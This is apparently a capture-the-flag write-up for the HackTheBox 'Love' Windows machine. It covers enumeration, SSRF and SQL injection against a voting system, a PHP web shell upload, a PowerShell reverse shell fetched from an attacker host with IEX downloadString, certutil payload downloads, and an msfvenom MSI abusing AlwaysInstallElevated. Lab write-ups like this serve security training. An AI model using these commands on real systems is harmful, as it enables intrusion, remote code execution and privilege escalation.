> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Love HackTheBox Writeup Love HackTheBox Easy Windows machine writeup covering SQL injection (SQLI), Server Side Request Forgery (SSRF), File Upload Abuse, Exploiting Voting System, with practical enumeration, exploitation, f {% embed url="" %} {% hint style="warning" %} **Skills:** * SQL injection (SQLI) * Server Side Request Forgery (SSRF) * File Upload Abuse * Exploiting Voting System * Abusing AlwaysInstallElevated (msiexec/msi file) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Exploring open ports and exporting in the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Analysis of open ports with extractport:** Use of the extractport function to in a concise format display open ports and copy them to the clipboard.

**Scan version of ports with Nmap:** Using Nmap to scan version of ports and extract information in "targeted" file: ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

**Search for directories:** We use Gobuster to search for directories on the site: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

In the `admin` directory, we discover a management panel.

## Voting System Exploitation : In this case, there are two ways to operate the Voting System management panel: ### 1. Vulnerability SSRF: Port 443 reveals a `staging.love.htb` subdomain that we add to our `/etc/hosts` file.

This site can scan websites through a URL.

By scanning `localhost:5000` (not available from outside), we discover credentials: `admin: @LoveIsInTheAir!!!!`

Note: Outside, the message " You don't have permission to access this resource." is displayed, blocking access.

### **2. Vulnerability SQL Injection (**[**SQLi**](/web/sql-injection.md)**) :** With `searchsploit` we look for specific Voting System vulnerabilities and find the following payload:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Using Burp Suite, we access the dashboard.

## Vulnerability Upload Files: Once in the dashboard, an option allows you to create a new user. We create a `cmd.php` file to run commands on the server:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

The panel does not apply any security checks, allowing us to inject commands (e.g., `whoami`). By testing a ping command, we check the connection:

we will check whether it can launch a ping

ping 10.10.14.10
tcpdump -i tun0 icmp

As we receive the answer, we confirm the possibility to execute commands on the target machine

**PowerShell command for shell reverse** Once we see that we can execute commands, we will download the `PS.ps1` script to our team. {% embed url="" %} At the end of the script, we add the following line: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

We will create a web server with the `PS.ps1` script ```bash python3 -m http.server 80 ``` Then we will modify the command to point to our web server: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Finally, we listen to port 4444: ```bash rlwrap nc -nlvp 4444 ```

### Flag user.txt:

## Privilege Escalation: ### **Enumeration with winPEASx64.exe** To perform privilege escalation on a Windows server, first run the `winPEAS` reconnaissance tool. {% embed url="" %} Downloading the WIN-peacex64.exe recognition tool. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Checking AlwaysInstallElevated The `winPEAS` tool checks various system security settings. We are particularly interested in the `AlwaysInstallElevated` registry key. If this key is set to `1` in `HKLM` (HKEY/ LOCAL/ MACHINE), this indicates that all `.msi` files can be installed with high privileges, which is a vulnerability.

{% embed url="" %} **Create a.msi file to get a shell reverse** To take advantage of this vulnerability, we will create a `.msi` file that, once executed, will provide us with a reverse shell. We use `msfvenom` to generate this file: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Transfer from.msi**/ file After creating the file, we must transfer it to the target machine: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Listen to port 443**/ Before running the `.msi` file, we must listen to the port we have specified. Let's use `nc` (netcat) for this: ```powershell rlwrap nc -nlvp 443 ``` **Installation command execution**/ Finally, we run the `.msi` file using `msiexec`, which triggers the silent installation: ```powershell msiexec /quiet /qn /i reverse.msi ```

### Flag root :)

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